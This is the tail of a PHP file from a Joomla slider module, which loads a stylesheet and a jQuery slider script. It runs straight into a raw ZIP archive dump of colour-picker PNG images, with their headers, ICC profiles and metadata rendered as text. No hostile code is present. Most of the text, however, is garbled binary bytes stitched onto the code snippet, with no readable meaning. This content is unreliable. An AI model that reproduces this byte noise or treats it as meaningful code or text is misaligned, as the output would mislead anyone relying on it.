$lists = modApSmartLayersliderHelper::getList($params);

if (isset($lists) && count($lists) > 0) :		
//include css
$doc->addStyleSheet($baseUri.'assets/css/slider-pro.css');

//include js
if ($load_js == 'customtag') { 
  $doc->addCustomTag('<script src="'.$baseUri.'assets/js/jquery.sliderPro.packed.js" type="text/javascript"></script>');
} else {
  $doc->addScript($baseUri.'assets/js/jquery.sliderPro.packed.js');
}
	
endif;

require JModuleHelper::getLayoutPath('mod_ap_smart_layerslider', $params->get('layout', 'default'));
PK!z��k??Emod_ap_smart_layerslider/admin/colorpicker/img/color-picker-16x16.pngnu&1i��PNG


IHDR(-StEXtSoftwareAdobe ImageReadyq�e<iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:F2E5A2DDDAE211E3A215E39A11D519FA" xmpMM:InstanceID="xmp.iid:F2E5A2DCDAE211E3A215E39A11D519FA" xmp:CreatorTool="Adobe Photoshop CC Windows"> <xmpMM:DerivedFrom stRef:instanceID="6F3602A66CB1DB0A457345B53DB2A096" stRef:documentID="6F3602A66CB1DB0A457345B53DB2A096"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>�NRdKPLTE��g�ff��Xz���sٛ�w�P�m`��a��Q�n�x�ٜ�a��x�b������b��R�o�y�R�n����������YMtRNS����������������%��bRIDATxڜ�7�0Qd��p���� ��Wn�		���ܿ����m�� "�l�j�ߦ�Udw	C���-�)N��	��R��IEND�B`�PK!�-@33Ymod_ap_smart_layerslider/admin/colorpicker/img/bootstrap-colorpicker/alpha-horizontal.pngnu&1i��PNG


IHDRd
B�~
DiCCPICC ProfileH
��wT����l/�]�"e齷�.�H�&
��KY�e�7D"��V$(b�h(+�X�	"JF�����;'��N�w>�}��w���(!a�@�P"��f��'0�D�6p����(�h��@_63u��_�-�Z�[�3���C�+K���;?��r!�Y��L�D���)c#c1� ʪ2N����|bO�<�G����͓q��|������|�o���%���ez6���"�%|n:��(S�ёl��@��}�)_��_��	;G�D,HK�0��&Lgg3���ŗH,�9�L���d�d�8�%|�fYP�Ֆ���������-������d����2�ϞA��/ڗ�/ZN-�)�6[�h);h[���/��>�h��{�yI�HD.VV����>�RV���:|��{��<K�y�k���r�Y���ܜ����+�p�L����UZ_�a�O�B�t��4��B�@"�2¿���*~�khu=�(���k���I܃�@��B����=�i�QF����a�2���1e2;2�ɕ��d��	���t���0�8W�	|A� ,\�����`
(%`���^P@8�Ip\W�5p�C`<��5�� Q!�iC�d� w�
�"�x(J���Z��J�r��5@�C'�s�e��
C����;�)0ք
a+�{��p4�N��K�Bx3\��G�V�|�	���) d��� a#aH�����H1R��"MHҍ\G��	�-��a��+&3��,ƬĔb�1�0��.�u�0f�K�j`Ͱ.�@l6
��-�Vb�-�؛�Q�k��p�x\n��׌;��Ǎ��x����s�|~'��~?�C �	�?BAHXK�$&�&�3D�хF��ˈu�bq�8CR$��HѤ�R��t�t��L&뒝�dy5��|�|�<L~KQ��RؔD����r�r�r��J�R=�	T	u3��z����F�&g)(Ǔ[%W#�*7 �\�(o �%�H~�|��q�>�	���[���R�F� ”"M�F1L1[�T��e�'Jx%C%_%�R����J#4��GcӸ�u�:��(G7��3�%����Ie%e{����S�C�a�dd1����T4U�T�*�T�TT�U�z��U�U�Uo��Sc���e�mUkS{��Q7U�P�Wߣ~A}b}����9���Հ5L5"5�i��ј�����i��<�9������Ъ�:�5�M�v�hWh��~�Tfz1��U�.椎�N��Tg�N�Ό���|ݵ�ͺ�Hz,�T�
�N�I}m�P���w
�,�t��ӆF������-5j4�oL5�0^l\k|�g�2�4�mr�6u0M7�1�3���f��ͱ���B�Z�A���E�E�Ű%�2�r�e��s+}���V�V�������(�٬����Ԗk[c{Îj�g�ʮ��=�~��m�C���N��N�b�&�q'}�d�]N�,:+�Uʺ�u�v^�|��������o�����]��5�˟[7w�M׍��mȝ���}�Cǃ�Q���Sϓ�Y�9�e��u�빷��ػ�{���^�>�����*����}�����7����l6 8`k�`�f 7�!p2�)hEPW0%8*�:�Q�i�8�#
�z��<ἶ0�-�A�Q���#p�5�#m"�GvGѢ��G����.��7�x�t~g�|LbLC�t�Oly�P�U܊�����|BLB}�����&:$%�Zh��`��Eꋲ�J�O�$O�&�&N~�	��r�RSv�Lr���g<O^o���/珥����>IsKۖ6��^�>!`�/22�fLg�e̜͊�j�&d'g�*	3�]9Z99�"3Q�hh����'��\(wan����L�H����y�y5yo�c�(z��.ٴdl���o�a�q�u.�Y�f��
��WB+SVv��[U�jt���CkHk2���zm��W�b�uj�.Y￾�H�H\4��u�ލ�������6���W|�ĺ���})���76�T}3�9uso�cٞ-�-�-��zl=T�X��|d[��
fEqū�I�/W�W��A�!�1TRվS疝�ӫo�x�4��صi��n��=�{��j�-�n�`���[k
k+��x\S�-�ۆz������E�jpjh8�q��n�6�I<r�;��ڛ,��73�K���ңO�O��ֱ�c��YǛ~0�aW���j]�:ٖ�6���"�Dg�kGˏ�?<�s���ӤӅ�g�,=3uVtv�\ڹ�Τ�{�������|��E��绽��\r�t���WXWڮ:^m�q�i��᧖^���>���k��:���8w����7�ޜw���[��n�n?��u��ݼ�3�V���/~�����ڟM~nr:5�3��(�ѽ�ȳ_ry?Z����rL{��퓓�~�מ.x:�L�lf��W�_w=7~��o���L�M��������˃��_uN�O=|��zf���ڛCoYo��ž���_���C���g�gg����`	pHYs���IDATH
��IN�:E�<	$�X݄
�	V�&X��0B	$ �N}_��H?R^��6��i޸,���yss3M��nj'?ooo���y�����s��v���Q�����L���#�O��<N�q����]�#&���al�y��tvvVq�wp�%���nxᷣ��/��{�W�᭾Zx���}W���c�r���V׶�4�)���k
�n���<�b,c,L\�?1��65�7=�/~P7�ō�z(�B��ɉ�{�^m]E�������ܿ~�\]]�2~~~6#6�
�x`aųE���>��{�a�T����Q��!���uq{�{�r#U?��KXϧ���J?Y��Y��mú/�q�+
�*��*|h�~�G��}���Ʊ�tn.�d�ਟ0�kߞ���gC�\O�,7hr�OH|cXk��F��������<�NOަ��ǽ�o�7��5���k0r����u�'ȇ�����������C<
�����>^\\�͖���!��<������94b�S��{cS�K�3<9���fr���
/��!��Y<ldr�	�9�/�e��Sc�%.>})�Q����%���;��CZ�<�Ѧ���\�L�O�qwWO�����������Y��k�����\ƪ�d�
W����Z���9n;?���M�l��>��U�,�:!�ooo������̿��j��O����Ɇi��}q`e3G�8Vu��-��(�Jg��̯�7�*�F�/�|%}Cj1^?+�=!p�)��I�W��-
_����c��
%"��;sB�~.��p��)�Z�p�SM|���=��7Ak�6���䋜U2��V��pb��L�!L�8��D\bnZ�j1�L�ZL�n=L���u�'��#��J��žD�IEND�B`�PK!rN��Wmod_ap_smart_layerslider/admin/colorpicker/img/bootstrap-colorpicker/hue-horizontal.pngnu&1i��PNG


IHDRd(��
DiCCPICC ProfileH
��wT����l/�]�"e齷�.�H�&
��KY�e�7D"��V$(b�h(+�X�	"JF�����;'��N�w>�}��w���(!a�@�P"��f��'0�D�6p����(�h��@_63u��_�-�Z�[�3���C�+K���;?��r!�Y��L�D���)c#c1� ʪ2N����|bO�<�G����͓q��|������|�o���%���ez6���"�%|n:��(S�ёl��@��}�)_��_��	;G�D,HK�0��&Lgg3���ŗH,�9�L���d�d�8�%|�fYP�Ֆ���������-������d����2�ϞA��/ڗ�/ZN-�)�6[�h);h[���/��>�h��{�yI�HD.VV����>�RV���:|��{��<K�y�k���r�Y���ܜ����+�p�L����UZ_�a�O�B�t��4��B�@"�2¿���*~�khu=�(���k���I܃�@��B����=�i�QF����a�2���1e2;2�ɕ��d��	���t���0�8W�	|A� ,\�����`
(%`���^P@8�Ip\W�5p�C`<��5�� Q!�iC�d� w�
�"�x(J���Z��J�r��5@�C'�s�e��
C����;�)0ք
a+�{��p4�N��K�Bx3\��G�V�|�	���) d��� a#aH�����H1R��"MHҍ\G��	�-��a��+&3��,ƬĔb�1�0��.�u�0f�K�j`Ͱ.�@l6
��-�Vb�-�؛�Q�k��p�x\n��׌;��Ǎ��x����s�|~'��~?�C �	�?BAHXK�$&�&�3D�хF��ˈu�bq�8CR$��HѤ�R��t�t��L&뒝�dy5��|�|�<L~KQ��RؔD����r�r�r��J�R=�	T	u3��z����F�&g)(Ǔ[%W#�*7 �\�(o �%�H~�|��q�>�	���[���R�F� ”"M�F1L1[�T��e�'Jx%C%_%�R����J#4��GcӸ�u�:��(G7��3�%����Ie%e{����S�C�a�dd1����T4U�T�*�T�TT�U�z��U�U�Uo��Sc���e�mUkS{��Q7U�P�Wߣ~A}b}����9���Հ5L5"5�i��ј�����i��<�9������Ъ�:�5�M�v�hWh��~�Tfz1��U�.椎�N��Tg�N�Ό���|ݵ�ͺ�Hz,�T�
�N�I}m�P���w
�,�t��ӆF������-5j4�oL5�0^l\k|�g�2�4�mr�6u0M7�1�3���f��ͱ���B�Z�A���E�E�Ű%�2�r�e��s+}���V�V�������(�٬����Ԗk[c{Îj�g�ʮ��=�~��m�C���N��N�b�&�q'}�d�]N�,:+�Uʺ�u�v^�|��������o�����]��5�˟[7w�M׍��mȝ���}�Cǃ�Q���Sϓ�Y�9�e��u�빷��ػ�{���^�>�����*����}�����7����l6 8`k�`�f 7�!p2�)hEPW0%8*�:�Q�i�8�#
�z��<ἶ0�-�A�Q���#p�5�#m"�GvGѢ��G����.��7�x�t~g�|LbLC�t�Oly�P�U܊�����|BLB}�����&:$%�Zh��`��Eꋲ�J�O�$O�&�&N~�	��r�RSv�Lr���g<O^o���/珥����>IsKۖ6��^�>!`�/22�fLg�e̜͊�j�&d'g�*	3�]9Z99�"3Q�hh����'��\(wan����L�H����y�y5yo�c�(z��.ٴdl���o�a�q�u.�Y�f��
��WB+SVv��[U�jt���CkHk2���zm��W�b�uj�.Y￾�H�H\4��u�ލ�������6���W|�ĺ���})���76�T}3�9uso�cٞ-�-�-��zl=T�X��|d[��
fEqū�I�/W�W��A�!�1TRվS疝�ӫo�x�4��صi��n��=�{��j�-�n�`���[k
k+��x\S�-�ۆz������E�jpjh8�q��n�6�I<r�;��ڛ,��73�K���ңO�O��ֱ�c��YǛ~0�aW���j]�:ٖ�6���"�Dg�kGˏ�?<�s���ӤӅ�g�,=3uVtv�\ڹ�Τ�{�������|��E��绽��\r�t���WXWڮ:^m�q�i��᧖^���>���k��:���8w����7�ޜw���[��n�n?��u��ݼ�3�V���/~�����ڟM~nr:5�3��(�ѽ�ȳ_ry?Z����rL{��퓓�~�מ.x:�L�lf��W�_w=7~��o���L�M��������˃��_uN�O=|��zf���ڛCoYo��ž���_���C���g�gg����`	pHYs��wIDAT�P�
�0�� ">@���A�E��h�2Q�C��6i�7��+�ZP
*�EP�?��A�I�Y`�I=
�o����#u���	m�:-�^��&D�2�vKϔ_�i�}Ϩa���A�{��:�:��IEND�B`�PK!��$q"q"Smod_ap_smart_layerslider/admin/colorpicker/img/bootstrap-colorpicker/saturation.pngnu&1i��PNG


IHDRddp�T	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�F�IDATx��]ے�r,`�~v����C����jg�M�Eq��,�#+|����*de]t������mf�̬�o3�^J������Xo���n⚞�Wmo���7/�kb9�O�C/���=����c�����{�{�Ϻ�}Y��,K�駟�k���?�g/�у�/Bς�J)^�	E�0���])t�kp��=:l�B��6��F�}��c��Yキ�Z�۶�u]˺���|����������'��_������:��T���"SH�0^��ԅvA�;�@:��;����NJõ>������W�+��W3��{h��zݶ�[ke]ײm[Y׵.�b�����7������_}��?�a�?��֚᧔Pܽ�Y|��b��q	�[J��
�S�眯��w�_I��LNBv����"���~s�:�B�/�x齗m�zk�o�f뺖����������a������ʧO��o��f�>}�eY�~PH(�������(��"b�iv�ղ�`A������<��6�@9��
���{(�[k�m�����j���eY��x<���ݾ~��ooo���g��?��ׯ�m�,��P��EO�8(�C�{�|���~#t8棥#
�wS�(���K�ޭ�歵]I�Zk�_�m��|�PH{{��_���/_��o�ʟ�Y�����d����<��PD���]y��T.��*t�K�}g
�Q�(| ��{
��B�\a�]�ՆB�|ں��|>�������|��;}�V�|�R���˲,���!'���a[�(H9�8b�����V�h�Nʭ�!A�"R�����6��^Zk���Dա۶ͷm+۶��,KY�ŗe����<{{{���w[��ܽ�nۖ"$ALIL�
�Iز3�B�z���}��LS%��0@�N⭵��+
������ۗey}<m(�>��,K_��=���ku��8�x�
>���+��2Uܽ~�bn!���CQc_Dձ}pSь�@����w���.n��!�,�d�eY�,aʬ���>�؎V���)�$G��~��($��B���3E�G	�qNo���n�B!�Qw�e�?�Z|��=�Oq���Z�Bz�gH���(�r��09x/FŽHpW�f�L�k<G-9���][۶
QsPF(��DJ�eY<�}]W[�����C�Ñ������p�#��@�k�h@��V8H�#�p��} �bf�a��B�,�݃ć"��׮��˻{X˲��|��m]�@�o�f��v�L������r�4#�SC�u����oI�?D��N�����C�!tF�PJ,!��V����h��u�m�^Ȅ��0F0Y�3W��S�&�
$��P�W*�c�
Lj)�K
eRX	�D
zS��B�3�TE0HQy��	(������
��d)A����!c�w(�D��7RdEg�$@�=x���*0-��se��q�����mu]��!���x��׀�G�K��y�:dW��;���K�@l��/�R����Dߑ��)�)%��LVG� vR��V߶�e$C%L�n�n*�2d0j2w6��9�Ba�=u�:�Jkmw>�0�D}H� �0�BvBGbWH	��ܖ��������C�H^�	b��F�5�}��{\�(���+Eሔ=i䍂o�V�ї���+�>�"�����h���M��}L�NR��"fK�̥�\4���|�(t�ئ��B�\����Jٶ-SͬL�*
����YKpK���Jk
����R����Z���±A�5c�k�
4[*8d^�;�+�
')�v�iIMU��K$���3dd)��I�B�%+�$�D�	�O��Be��F����b�����'ha"W�p�!���C^�		�0?�{pC ���!'�:P���c��@L�#��r��W6Y%Q�$9�
�,���� �$	O��T.ED����b�Xﭵ��<$�5�Gz��Nن2C�)�/�!%���mr�>'�$Qwf�L!E!cx�aN)0E�!d��GUb��������ycf�*I]-�"�����ڑ�Z;�:�l�vcD�}�6*9B�N�:S�P
�4�@��������`�=6��{կI�R'�E��O8������mP'��Φ*Z:"!�c!BƷ�5D���)RO����(�R�����&\aIa�	�H<�>Ib�}��B�a��UD	�p��<�p��X���^V�Q�
!Ďx�pw�v�"g�(�p��_;+:�R�8G�΂����I�	ї�+����}R޻��hf/B8���,Qt�Lr�M�#��9*�N%X.�vQx�l�@	�i9���{P �CO�pe��V��X�IM֌г~�X'�Vn1��]xU���(tT�<vd��2��E35�u�=��w�y"l��؃*���6,��90Th�pcO�y80T
�!����@#3<RN��s���;�"��33�œ!a(;[G��`e~gRT5P���`Kgs����\jjq.^�M�
+L% ƨ�(�eGya���;�g�QF�^���u	F�s�J��(�V�IhT
D�b\�/�T�@d�ya������қ�چ�.P�Aw�e�=�^�J6f揉_��Ȏq�r6mnj��(b��1L݉;�����D������!������.�tQU�݄U��,��w@�|�P����c��+�N�N���"�S�8�Yf�*���%�0[����*n� ���٤9�T�C���:^�q-㼃�dOP>[<���3L�#gOP!��పz�s��~r������)�@��Y�<Dn�dz����q	�Xs73�%xm�A��^�Q��ܩ
�����0-�PK)����%dp<���[�(,a��3�3�8H2�@)(8��i�.��I��Wh,cG����P�m�<�J�
���IL�i	9�h��U��
�����&�ΊS���\�#��ߕ�!z��PyJh��{֋ĩ������:tj�o��E�:�|2Y�q���^"�0�E�x��4��E!�Q��{�&��l��2�ܙ��y��^SG�
�gAAS�B�g2�(�"p�;�cهh��!�_o_(�$����C~�`�7=eo���8.��x=�%l�
�&l�%��	�ҡA9pJ(�3��E�ĉl�|q����=t*�&
��n5�Y"�s^
A7���}��p���+/KD霵��UAb�L�d-N*B)�������fd_�,,
�>������0N9��R^�xYF�F��'��Y�3�Bj��>��x����=�A�%��Jr"�w���H�������cP��vA�BYq��:��1>�h�x%�N�a�t�5E�%�y�A�iJ|�8}�-��i��� )
�"+�0��@@nP1ġi�����$8!��K���$�/Nq@NG�uo�!���Q�'��%�^�4�5rmR6�&��.��#
M*��d�k4�B�F�4��8�N�V�Po�!���q����T؎�Ԯ��~'���
�(�*O�9����F���+��H(jdT�³��,H���Թ�^VO��H���)&84%x�M�#��3Vշ7-<ѶJ*"�8m��9U$"���e�i�L���-�M�C��<5�)��+f7��z+I��E朷�D!~���
T^�D�,-�؍�J�S��L!���B�������89���k�o�D8�L�*g~��!@�P8$�*�)@�A3�8��rHr�7E���1J�>_�Q!u��ҧ�!2��t��08��4ߩ�'i{KRI�l;�>��9���x3�RJ�Ys���岣�:��rQI<
]��\qƄ[�+Pܯ���e�q��qRP�L�ۘ�p���N*�/s}f��ڷs���bRT��eƘB8'N���>!L���pw��]�CЭ������e)ra��.�K�4do��!�w�J	�g뇱�@�l���Ի��z�J�d�u�S�r�]��Ν+f�P���%��vo�@v����K�Qńn����A)/Y�C�"r(<���I����f
Q��OK�f��9���c��]��C&B%dW��@p�
TQ����r�A��:���.	�WzY��cr���t�0q��R���%r�j��]�uӖ�}�<�HR�A��+�2۫����ɮeE*��k�)4�N��\'Y�=Й��� ��9N}�L�C���v`�L.sH(.�@NM�e%��@j��M$7Ꮼ��*�RU8�;<>SL����%0F�TQ�h���ʣp�]�*W5�@`�"�%�c��)�qe	f\��C�U	;)�ީ��TO5��R�4Ur�;�zB��ĩ�{Jk�l��iz/��Hn�Zr�-����T��F�g����D��+����oHfڌ�ɑa�(2j����|��3��2�b�W���D��]ܪ�Q3�P�����Ǿ�x9�Tw��U@�<R�	RO��9��'5v�k�9�{��2�"��U@F���;ۯ���&T5��[�Łz*��ui=D ��D*E�p�Y�mq*��7��)d��KL!C ��h��k3T�1,g����r�g�Y|��[lꮎςS?�tZf<W$�h`Q����*��M8��2��q�Rȡ�{���)����w����2N�}��>j�M�rB
��dN���OUOL,
Ԝ9d6�0��{��h�W�ɂT����l��T'/�/Φ�f��wcY��cD�����(Ar�?v��YYJ�j~��OSd�u��2�(��sf8y��r��r��D�
��1I�����g)�$u�)z�NO�I�>�2N�Y�~O����aF�x8�K�����Y�(�w(������ĭv��\8	���S��i��
}���	��TbB~W�Kp�����+�g�%�l����l��R�2{<6P��Q�����=^2/+}x2_Yؕy�{��Մ�
�Մ��|W��"�QRج�Ч���\�����π-M$Q��w�C8���hdJ3S�z�;�P�*��N5>y�Ԅ%Bx$/�)������P�4=�[+��b���RͬL�S�ϒ��?�W�L���SÇ���I@�;yP��B@��ai"�55Y�fR���^��@�c�m��f��G�E����8�d%
Ax�y]	���$^Z��y��\�ri�c��l�p�\n�pŌGl�!}���(_"!�׷�ҋ-�N�iW�T x9����:rtd.kj��b�	Z2[m��LE�[�P�6�@�fc	SD(��T�
Z�������<�(,�qN���%^�fi�.�^/�&�Fw�@!��bfJX`X��z]Lֹe[�)�t����85�����FS��`B>�6K�e3�M�L���R�y�r!�T���#��t��8�u)���~|se�~p�w\�*&S&F�g�)a����}�g�x�Ug���d����x�2�	��E��c���L�g*lf>	���Ι��y�+���N�P�r51J��0vEpU1SMb\�1�/P���93�d�mۉw�#ۛ=<��gȑ�P�47�@�)H=U*�Vm"v:'y.��ljW�y5 �LZ�?rY۶M$���P%
)'�OQq-�w3�3g��ܟ<��b8{�;�.�O�Q�"?(�T�7{��	����R���__!�ċyF�٢Z�E�,w��7[~� �L~�/��o<�K/�R�Vh���#�	Bn=9%}f���������2�OsP�b�����;#���Rl!���z_��q���۫Z��>���n&�;ϐ(�c�[�����{
���E���'����~��~;���k����D�_�`�?/f������<IEND�B`�PK!�#o,,Omod_ap_smart_layerslider/admin/colorpicker/img/bootstrap-colorpicker/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!0���Lmod_ap_smart_layerslider/admin/colorpicker/img/bootstrap-colorpicker/hue.pngnu&1i��PNG


IHDRd�N�7	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�F�IDATx�L�M+D��v��N"K�X��G�d'�l5���Ԍ)�<.Y���e1�b(��芦���8#q+�ŗw� ��BKM�5�R�?�[bU�b�BV�v�K�F�vJ�t8�a�G�'y"7dDN�Y1���3�O�d��e�BX	�a7��~쨶��Q8��>��|�rG�ș2Qf���]�� K|.6�=lj����IEND�B`�PK!g�����Nmod_ap_smart_layerslider/admin/colorpicker/img/bootstrap-colorpicker/alpha.pngnu&1i��PNG


IHDR
d�̡�	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
